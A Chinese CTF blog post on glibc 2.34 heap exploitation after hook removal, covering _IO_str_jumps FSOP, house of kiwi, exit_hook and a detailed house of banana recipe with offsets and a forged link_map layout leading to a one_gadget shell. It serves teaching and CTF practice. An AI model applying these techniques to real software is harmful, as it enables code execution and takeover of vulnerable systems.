高版本glibc堆的几种利用手法

渗透技巧 2年前 (2022) admin
993 0 0

前言

本文旨在讲述在glibc 2.34ubuntu 高版本下(2.34-0ubuntu3.2)的一些利用手法是否依旧可以使用。会对某些手法进行概括,并没有对其进行深入透彻的讲述。感兴趣的朋友可以自行学习,最后详细介绍了house of banana。

我只是站在了前任师傅的高台上,为大家进行一些总结分析。

前不久打算深入的去了解在2.34以及2.35这两个较高版本的glibc的堆漏洞的利用。

2.34(2.35) 如何利用

一些对比

2.34与2.35其实非常接近,一般情况下,我们利用的手法也都是一致的,除了继承了2.29以来 的各种保护机制,2.34开始最大的特点,就是删除了__free_hook

__malloc_hook

__realloc_hook

__memalign_hook

__after_morecore_hook

这几个常用的钩子函数,而我们最常用的malloc_hook 以及free_hook被完全的禁止了(虽然我们依旧可以在程序中找到对应的符号,但是相关的函数不在对其进行调用),我们只能另寻出路。其实在2.29以后的版本中,很多手法都已经失效了,我们常用的无外乎就是劫持程序执行流,以及输入输出流。在2.23的版本中,我们是可以修改vtable,但是2.24后就禁止修改,以及再到后面的一些版本还会检查我们的vtable是否在允许的范围中(所有的vtable储存在一个数组中,以__start_libc_IO_vtables 开始,__stop_libc_IO_vtables结束)。

_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */

  {
    Dl_info di;
    struct link_map *l;
    if (!rtld_active ()
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

但是,在2.34的早期版本又是可以写的(glibc-2.34-0ubuntu1_amd64)

高版本glibc堆的几种利用手法


这个时候我们可以尝试攻击vtable结构体,达到getshell的目的。

但是在后面的几次更新中,又将修复了这个漏洞,在(Ubuntu GLIBC 2.34-0ubuntu3.2) 2.34版本中,就不可以修改(目前已知在2.340ubuntu3版本以及之前的版本依旧有可写的权限)

高版本glibc堆的几种利用手法


我们可以找到很多关于如何绕过vtable check的办法进行劫持IO流,其中最主流的还是利用 _IO_str_jumps  和 _IO_wstr_jumps两个虚表,二者利用几乎一样。我们在源码 /libio/strops.c 可以看到相关的vatable的内容,以下我以_IO_str_jumps 作主要说明。

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{

  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

这里面有两个很有用的函数

JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow),

相关源码如下

_IO_str_finish

//Glibc 2.34
void
_IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    free (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

这里我们值得注意的是_IO_str_finish,在之前版本中,函数中其实是存在任意函数执行的漏洞的

//Glibc 2.31
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //我们控制 _free_buffer 为目标函数,就达到了任意执行
  fp->_IO_buf_base = NULL;
  
  _IO_default_finish (fp, 0);
}

但是在新版本的函数中,将这部分删除了,所以我们无法通过这里getshell.

_IO_str_overflow

2.34对比之前的版本,这里并没有太大的变化,但是因为没有了free_hook事情变得不容乐观

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
 return EOF;
      else
 {
   char *new_buf;
   char *old_buf = fp->_IO_buf_base;
   size_t old_blen = _IO_blen (fp);
   size_t new_size = 2 * old_blen + 100;
   if (new_size < old_blen)
     return EOF;
   new_buf = malloc (new_size);
   if (new_buf == NULL)
     {
       /*   __ferror(fp) = 1; */
       return EOF;
     }
   if (old_buf)
     {
       memcpy (new_buf, old_buf, old_blen);
       free (old_buf);
       /* Make sure _IO_setb won't try to delete _IO_buf_base. */
       fp->_IO_buf_base = NULL;
     }
   memset (new_buf + old_blen, '', new_size - old_blen);

   _IO_setb (fp, new_buf, new_buf + new_size, 1);
   fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
   fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
   fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
   fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

   fp->_IO_write_base = new_buf;
   fp->_IO_write_end = fp->_IO_buf_end;
 }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

2.34前的版本中,我们在利用FSOP劫持_IO_list_all 的值来伪造链表和其中的IO_FILE 项。

当程序执行exit函数,或者从main函数返回时,会执行调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。因而当设置stdout对应的_IO_FILE 对应的 vtable 为 _IO_str_jumps 执行exit就会执行,_IO_str_overflow,

利用思路是根据这里面连续的malloc,memcpy,free,通过控制、伪造IO_FILE,我们要伪造一个fake_chunk,使得函数调用malloc时可以得到fake_chunk,然后再fake_chunk写入我们的数据(来自_IO_buf_base),一般我们把free_hook作为fake_chunk进行攻击,(这也是攻击陈工的前提),将free_hook覆盖为system,执行system(“/bin/sh”).这里我们布置的时fake_chunk的用户区域为free_hook-0x10,这样,_IO_buf_base的前8字节为”/bin/shx00“,接下来的8字节时system的地址,这样free(fake_chunk) ===>system(fakechunk),完成了free_hook的覆盖以及getshell。

house of kiwi

当程序没有显示调用exit,也不会通过主函数返回,那么以往我们使用的FSOP就无法进行了,如果此时两个hook也没法利用,我们需要一种能够稳定触发IO中函数的路径,这就是house of kiwi,它利用了__malloc_assert.

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
   const char *function)
{
  (void) __fxprintf (NULL"%s%s%s:%u: %s%sAssertion `%s' failed.n",
       __progname, __progname[0] ? ": " : "",
       file, line,
       function ? function : "", function ? ": " : "",
       assertion);
  fflush (stderr);
  abort ();
}

从源码中可以看到这个断言中调用了fflush(stderr),这个函数会稳定的调用_IO_file_jumps中的sync 在house of kiwi 中,如果我们能实现一个任意地址写,那么就可以修改sync指针,并且在调用的时候还发现,rdx也很稳定的是IO_helper_jumps,此时如果我们通过任意地址写将sync指针改成IO_helper_jumps,且将IO_helper_jumps+0xa0和IO_helper_jumps+0xa8改写,就可以实现栈迁移orw。在更新的版本中,相关的虚表已经不可以写了。

小结:

但是这些2.34更新的版本中(比如glibcubuntu3.2)下都失效了,因为没有了free_hook,也就没有了上述的一系列手法,而且以上依赖fflush()函数,通常我们需要利用exit函数来执行该调用。到此我们宣告上述利用手法,失效。但是比赛目前还没有变态到这种程度,常见的还是2.34的早期版本上述手法部分依旧可以实现。

解决方案

难道pwn到此就结束了吗?我们回头梳理下,以上攻击方式失败的原因,无外乎就是没有了hook函数以及vtable不可写。但是我们回到最开始学习pwn,其实最简单的还是rop,在高版本中我们是否可以结合stack与heap的攻击?或者我们是否还有其他的办法劫持程序的控制流?

house of banana

house of banana 是ha1vk师傅在2020年总结出来的利用链。不同于IO_str_finish和IO_str_overflow利用,banana攻击的是_rtld_global结构体中的link_map链表。

攻击的位置houm是在程序结束后调用exit,或者程序由libc_start_main启动,并且主函数可以正常结束返回。(这里提到了exit,不得不提一下以往的攻击exit_hook,配合onegadget获得shell,目前为止,到glibc2.34ubuntu3依旧可以利用,但是在3.2版本下该地址没有了可写权限,所以失效了)

//2.34 0ubuntu3.2
RAX  0x1
 RBX  0x7ffff7fad9f8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e26b10 (_IO_cleanup) ◂— endbr64 
 RCX  0x0
 RDX  0x1
 RDI  0x555555558148 ◂— 0x0
```
0x7ffff7ddd58f <__run_exit_handlers+431>    nop    
 ► 0x7ffff7ddd590 <__run_exit_handlers+432>    call   qword ptr [rbx]               <_IO_cleanup>
        rdi: 0x555555558148 ◂— 0x0
        rsi: 0x0
        rdx: 0x1
        rcx: 0x0
```
pwndbg> vmmap 0x7ffff7fad9f8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7fad000     0x7ffff7fb1000 r--p     4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x9f8
pwndbg> x 0x7ffff7fad9f8
0x7ffff7fad9f8 <__elf_set___libc_atexit_element__IO_cleanup__>: 0xf7e26b10

house of banana 相较于以往的攻击手法,其实思路很明确。在程序通过显式调用exit,或者main函数是由__libc_start_main唤起,并可以正常的返回时,由于动态链接的加载机制,程序中并没有exit函数的真实调用,而是要通过符号表来获得真实的函数地址。(有关动态链接延迟绑定的技术,还请自行查阅,这里不做过多的阐述。)我们联想到ret2_dl_resolve技术。

下面是exit执行的一个过程

exit -> _dl_fini ->((fini_t) array[i]) ();

banana手法,通过伪造修改相关的表项,以达到调用后门来获得权限。这里我们重点说一下,在ubuntu3.2下利用的可行性。大多数师傅对于banana的攻击方式主要有两种,一是攻击_rtld_global这个全局符号所保存的link_map的链表。伪造整个链表,进行劫持。相关的全局变量是可以写的。后面会解释这个变量的用处。

高版本glibc堆的几种利用手法


另外一个与之相比破坏性比较小,更容易成功。由于link_map通过链表链接,但是在加载exit的时候,相关函数智慧通过link_map->l_next指针进行相关的检查。我们可以在某个特定的位置,更改next指针,将下一以链表节点转为我们控制的地方,比如heap上。

很多朋友看了上面的可能会比较蒙,下面我具体说一参数。

关于link_map,我们攻击exit时,会使用到一个link_map 的链表,链表的一些信息保存在struct rtld_global结构体中,这个结构体信息很多,很繁杂,但是banana只用到了几个关键的点。

pwndbg> p &_rtld_global
$1 = (struct rtld_global *) 0x7f56e43b9040 <_rtld_global>
    //以下是结构体信息的展开,pwndbg为我们做了整理
pwndbg> p _rtld_global
$2 = {
  _dl_ns = {{
      _ns_loaded = 0x7f56e43ba220,    //#1
      _ns_nloaded = 4,      //#2
      _ns_main_searchlist = 0x7f56e43ba4e0,
      _ns_global_scope_alloc = 0,
      _ns_global_scope_pending_adds = 0,
      libc_map = 0x7f56e4382000,
      _ns_unique_sym_table = {
        lock = {
          mutex = {
            __data = {
              __lock = 0,
              __count = 0,
              __owner = 0,
              __nusers = 0,
              __kind = 1,
              __spins = 0,
              __elision = 0,
              __list = {
                __prev = 0x0,
                __next = 0x0
              }
            },
            __size = '00' <repeats 16 times>, "01"'00' <repeats 22 times>,
            __align = 0
          }
....    
  //展开数据会很多,但是只是对链表个节点信息的汇总

我们需要关注的是,

#1,_ns_loaded = 0x7f56e43ba220, 这是整个链表的头节点,

#2, _ns_nloaded = 4, 这里知名个这个链表的节点个数,在exit后面加载的检查中,会要求_ns_nloaded链表的节点不少于3个

(后面我会给出相关的源码)

然后对于每个节点,都是link_map结构体,我们利用第一个节点做一下简单说明(省略了部分无关的数据)

pwndbg> p *(struct link_map *)0x7f56e43ba220
$3 = {
  l_addr = 94172888551424,
  l_name = 0x7f56e43ba7c8 "",
  l_ld = 0x55a655922000,
  l_next = 0x7f56e43ba7d0,   //#3
  l_prev = 0x0,       
  l_real = 0x7f56e43ba220,   //#3
  l_ns = 0,
  l_libname = 0x7f56e43ba7b0,
  l_info = {0x00x55a6559220100x55a6559220f00x55a6559220e00x00x55a6559220900x55a6559220a00x55a6559221200x55a6559221300x55a6559221400x55a6559220b00x55a6559220c00x55a6559220200x55a6559220300x00x00x00x00x00x00x55a6559221000x55a6559220d00x00x55a6559221100x55a6559221600x55a6559220400x55a6559220600x55a6559220500x55a6559220700x55a6559220000x55a6559221500x00x00x00x00x55a6559221800x55a6559221700x00x00x55a6559221600x00x55a6559221a00x00x00x00x00x00x00x00x00x55a6559221900x0 <repeats 25 times>, 0x55a655922080},   //#4
  l_phdr = 0x55a65591d040,
......
  l_direct_opencount = 1,
  l_type = lt_executable,
  l_relocated = 1,
  l_init_called = 1,     //#5
  l_global = 1,
......
}


我们需要关注的:

#3,l_next = 0x7f56e43ba7d0, ,指向下一个link_map 的指针,我们就是通过修改这个,将下一个节点劫持为我们伪造的link_map

#4 , l_real = 0x7f56e43ba220 ,,指向的的自身的地址,这里也是后面需要检查的地方。

#5,  l_init_called = 1,简单说,就是为了绕过检查。

下面是_dl_fini函数的源码(我已经删除了部分注释及代码,源码路径为glibc2.34/elf/dl-fini.c)

void
_dl_fini (void)
{
...
   struct link_map *maps[nloaded];    

   unsigned int i;
   struct link_map *l;
   assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
   for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
     /* Do not handle ld.so in secondary namespaces.  */
     if (l == l->l_real)      //检查节点的地址是否跟自己结构体保存的一致
       {
  assert (i < nloaded);

  maps[i] = l;
  l->l_idx = i;
  ++i;

  /* Bump l_direct_opencount of all objects so that they
     are not dlclose()ed from underneath us.  */

  ++l->l_direct_opencount;
       }
   assert (ns != LM_ID_BASE || i == nloaded);
   assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
   unsigned int nmaps = i;

   _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
    NULLtrue);

   __rtld_lock_unlock_recursive (GL(dl_load_lock));

   for (i = 0; i < nmaps; ++i)
     {
       struct link_map *l = maps[i];   //l遍历link_map的链表

       if (l->l_init_called)     //重要的检查点
  {
    l->l_init_called = 0;      

    /* Is there a destructor function?  */
    if (l->l_info[DT_FINI_ARRAY] != NULL
        || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
      {
        /* When debugging print a message first.  */
        if (__builtin_expect (GLRO(dl_debug_mask)
         & DL_DEBUG_IMPCALLS, 0))
   _dl_debug_printf ("ncalling fini: %s [%lu]nn",
       DSO_FILENAME (l->l_name),
       ns);

        /* First see whether an array is given.  */
        if (l->l_info[DT_FINI_ARRAY] != NULL)
   {
     ElfW(Addr) *array =
       (ElfW(Addr) *) (l->l_addr
         + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
     unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
         / sizeof (ElfW(Addr)));
     while (i-- > 0)
       ((fini_tarray[i]) ();     //目标位置
   }

....
}

总结下我们需要绕过那些检查

  1. 判断_ns_loaded链表中至少有三个节点(dl-fini开始部分通过循环遍历链表,做检查,)

  2. 检查l == l->l_real

3.  检查l == l->l_real检查l->l_init_called > 8           这个其实跟数据的处理有关

unsigned int l_relocated:1/* Nonzero if object's relocations done.  */
    unsigned int l_init_called:1/* Nonzero if DT_INIT function called.  */
    unsigned int l_global:1/* Nonzero if object in _dl_global_scope.  */
    unsigned int l_reserved:2/* Reserved for internal use.  */
    unsigned int l_phdr_allocated:1/* Nonzero if the data structure pointed
     to by `l_phdr' is allocated.  */

    unsigned int l_soname_added:1/* Nonzero if the SONAME is for sure in

在lunk_map结构体中,这个变量是4字节,与结构体开始位置的偏移量为0x31c。pwndbg帮我们解释了数据的结果,这里的数据要大于8,我们不妨之际设置为9.不同节点可以有所差异,下面是一个结果为1 的数据

高版本glibc堆的几种利用手法


以及一个不为1 的数据

pwndbg> p *(struct link_map *)0x7f56e43ba7d0
$5 = {
  l_addr = 140725148598272,
  l_name = 0x7ffd207e4371 "linux-vdso.so.1",
  l_ld = 0x7ffd207e43e0,
  l_next = 0x7f56e4382000,
  l_prev = 0x7f56e43ba220,
  l_real = 0x7f56e43ba7d0,
...
  l_relocated = 1,
  l_init_called = 0,
  l_global = 0,
...
pwndbg> x/wx 0x7f56e43ba7d0+0x31c
0x7f56e43baaec0x00000005
pwndbg> 


4.  检查l->l_info[DT_FINI_ARRAY] != NULL,unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_valDT_FINI_ARRAY宏定义为26,DT_FINI_ARRAYSZ宏定义为28,所以l_info[26],以及l_info[28]不能是null(28是因为i会影响到函数 ((fini_t) array[i]) ();调用)

下面我们具体说说如何伪造,我选择利用修改第三节点的l_next指针,指向一个chunk,并在chunk上部署我们伪造的link_map.这里依赖任意地址写,可通过largebin attack实现,或者其他漏洞造成的可以任意地址写堆地址。第三节点的指针在哪?_rtld_global符号并不在libc文件,而是在ld.so文件中,我们要泄露出程序的ld基址,pwndbg为我们提供了一个函数求偏移量

pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7f56e43b9040->0x7f56e4382018 is -0x37028 bytes (-0x6e05 words)

由此我们就知道了需要向哪里写入chunk.

接下来就是重点,我们如何伪造link_map.

因为原来的链表中只有4个节点,而我们伪造的link_map有恰是第四个,所以,l_next就是0,l_prve无所谓,直接写0即可。l_real就是我们的伪造的link_map的开始地址,也是我们修改后的第三节点的l_next的值。这几个值离link_map的首地址很近,可以很直接的看出偏移量。接下来就是l_info的伪造。l_info[26]不为0,这是结构体内的数组,distance可以得到info[26] info[28]关于节点地址的偏移量,同样我们可以得到上面提到的l_init_called的偏移量

pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_info[26]
0x7f56e43ba220->0x7f56e43ba330 is 0x110 bytes (0x22 words)
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_info[28]
0x7f56e43ba220->0x7f56e43ba340 is 0x120 bytes (0x24 words)
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_init_called
0x7f56e43ba220->0x7f56e43ba53c is 0x31c bytes (0x63 words)


重点来了,info这连个位置我们写入什么数据

  l_info = {0x00x410x00x55a656f072f80x80x7f56e4244cec <__execvpe+652>, 0xa0x00x00x410x00x00x00x00x00x00x00x410x00x00x00x00x00x00x00x410x00x00x55a656f072e00x00x55a656f072e80xa0x00x410x90xa0x00x00x00x00x00x410x00x00x00x00x00x00x00x410x00x00x00x00x00x00x00x410x00x00x00x00x00x00x00x410x00x00x00x00x00x00x00x410x00x00x0},


//
  if (l->l_info[DT_FINI_ARRAY] != NULL)
   {
     ElfW(Addr) *array =
       (ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
     unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr)));
     while (i-- > 0)
       ((fini_tarray[i]) ();     //目标位置

这是一个比较通用的info,0x7f56e4244cec <__execvpe+652>是我们想要执行的函数。

我们再看源码的相关部分,正常情况下,exit使用的就是第四个节点的l_info的数据,也就是使用我们伪造的info。

sizeof (ElfW(Addr)) = 8,为了方便解释,我们将这里 l->l_info[DT_FINI_ARRAYSZ]的数据记为ptr,ptr->d_un.d_ptr,其实就是ptr+0x8所指向的数据。ptr是我们要伪造的数据,他是堆中的一个可控制的位置。我们想要执行一次就可以获得shell,我们不妨让i =1,然后我们需要在ptr+8的位置写入的就是1*8=8

我们还要确定的是arry数组。(l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

l->addr其实就是我们伪造的link_map开始的位置,个人喜欢将这里写为0,然后将l_info[26]写入另外一个地址,两者加起来就是数组的初始位置。我们记录这个地址为ptr_a,这个就会给arry赋值,然后 arry[i] ====>>  就是调用ptr_a +8*i 位置的函数。也就是我们的后门。

提供一个构造的布局,

fake+0x110写入一个ptr_a,且ptr_a+0x8处有ptr,ptr处写入的是最后要执行的函数地址.

fake+0x120写入一个ptr,且ptr+0x8处是i*8

我选择的是fake+0x110写入fake+0x40,在fake+0x48写入fake+0x58,在fake+0x58写入shell

我选择在fake+0x120写入fake+0x48,在fake+0x50处写入8.

pwndbg> tel 0x55a656f072a0(fake) 40
00:0000│  0x55a656f072a0 ◂— 0x0       //l_addr
... ↓     4 skipped
05:0028│  0x55a656f072c8 —▸ 0x55a656f072a0 ◂— 0x0    //l_real
06:0030│  0x55a656f072d0 ◂— 0x0
07:0038│  0x55a656f072d8 ◂— 0x41 
08:0040│  0x55a656f072e0 ◂— 0x0
09:0048│  0x55a656f072e8 —▸ 0x55a656f072f8 —▸ 0x7f56e4244cec (execvpe+652) ◂— mov    rdx, r12
0a:0050│  0x55a656f072f0 ◂— 0x8
0b:0058│  0x55a656f072f8 —▸ 0x7f56e4244cec (execvpe+652) ◂— mov    rdx, r12
0c:0060│  0x55a656f07300 ◂— 0xa /
0d:0068│  0x55a656f07308 ◂— 0x0
0e:0070│  0x55a656f07310 ◂— 0x0
0f:0078│  0x55a656f07318 ◂— 0x41
10:0080│  0x55a656f07320 ◂— 0x0
... ↓     6 skipped
17:00b8│  0x55a656f07358 ◂— 0x41
18:00c0│  0x55a656f07360 ◂— 0x0
... ↓     6 skipped
1f:00f8│  0x55a656f07398 ◂— 0x41 
20:0100│  0x55a656f073a0 ◂— 0x0
21:0108│  0x55a656f073a8 ◂— 0x0
22:0110│  0x55a656f073b0 —▸ 0x55a656f072e0  //l_info[26]
23:0118│  0x55a656f073b8 ◂— 0x0
24:0120│  0x55a656f073c0 —▸ 0x55a656f072e8  //l_info[28]
25:0128│  0x55a656f073c8 ◂— 0xa 
26:0130│  0x55a656f073d0 ◂— 0x0
27:0138│  0x55a656f073d8 ◂— 0x41 


最后我们就是利用onegadget获得shell了。

利用gdb万能必挂点,结合one_gadget工具帮助我们快速找到合适的one_gadget

高版本glibc堆的几种利用手法


一些注意点:

因为_rtld_global 这个符号是存在与ld.so文件中,往往出题人不会给出ld.so文件,rtld_global_ptr与libc_base的偏移在本地与远程并不是固定的,可能会在地址的第2字节处发生变化,因此可以爆破256种可能得到远程环境的精确偏移。

总结

本文主要就是介绍我们常用的手法,在高版本的利用情况,主要关注的是在较新版本 Glibc-2.34 0ubuntu3.2的可行性。因为2.34主要问题还是在于一些hook函数被禁止,以及对_IO_str_finish、_IO_str_overflow变化的影响,导致我们可以利用的点是在是很少了。但是这其实对于各位ctfer来讲,因为方法很少,导致攻击手法比较的单一,只有那么几个可以使用。在3.2版本之前,我们依旧可以通过修改vtable劫持控制流,或者攻击’exit_hook'(这个叫法可能会不太严谨,因为并不是一个hook的符号,而是其他的符号)。house of kiwi,攻击exit_hook依旧是可以实现,且比较方便的。

后面我这里主要介绍了house of banana,这项技术,依旧是用于3.2,并且向下兼容。简要概括,就是修改第三个节点的l_next为堆地址fake,并在该堆上伪造第四个节点。

伪造link_map

  1. *(fake+0x28)=fake。
  2. *(fake +0x48)=fake+0x58,   *(fake+0x50) = 0x8
  3. *(fake+0x58) = shell
  4. *(fake+0x110) = fake+0x40
  5. *(fake+0x120) = fake+0x48
  6. (int)*(fake+0x31c) = 0x9

最后笔者在这里提出一个未完成的验证,house of emma 在3.2版本下的利用。

因为个人实力依旧比较菜,文章出可能会出现错误及不足,欢迎斧正。也希望能和对此文感兴趣的师傅进一步交流关于新版本的利用姿势。

[参考]:

想到验证各种姿势,感谢ru7n师傅

3.2下攻击exit_hook的思考,感谢Ayaka师傅

house of banana 的最初构想 感谢ha1vk 师傅

高版本glibc堆的几种利用手法

原文始发于微信公众号(i春秋):高版本glibc堆的几种利用手法

版权声明:admin 发表于 2022年6月13日 上午10:32。
转载请注明:高版本glibc堆的几种利用手法 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...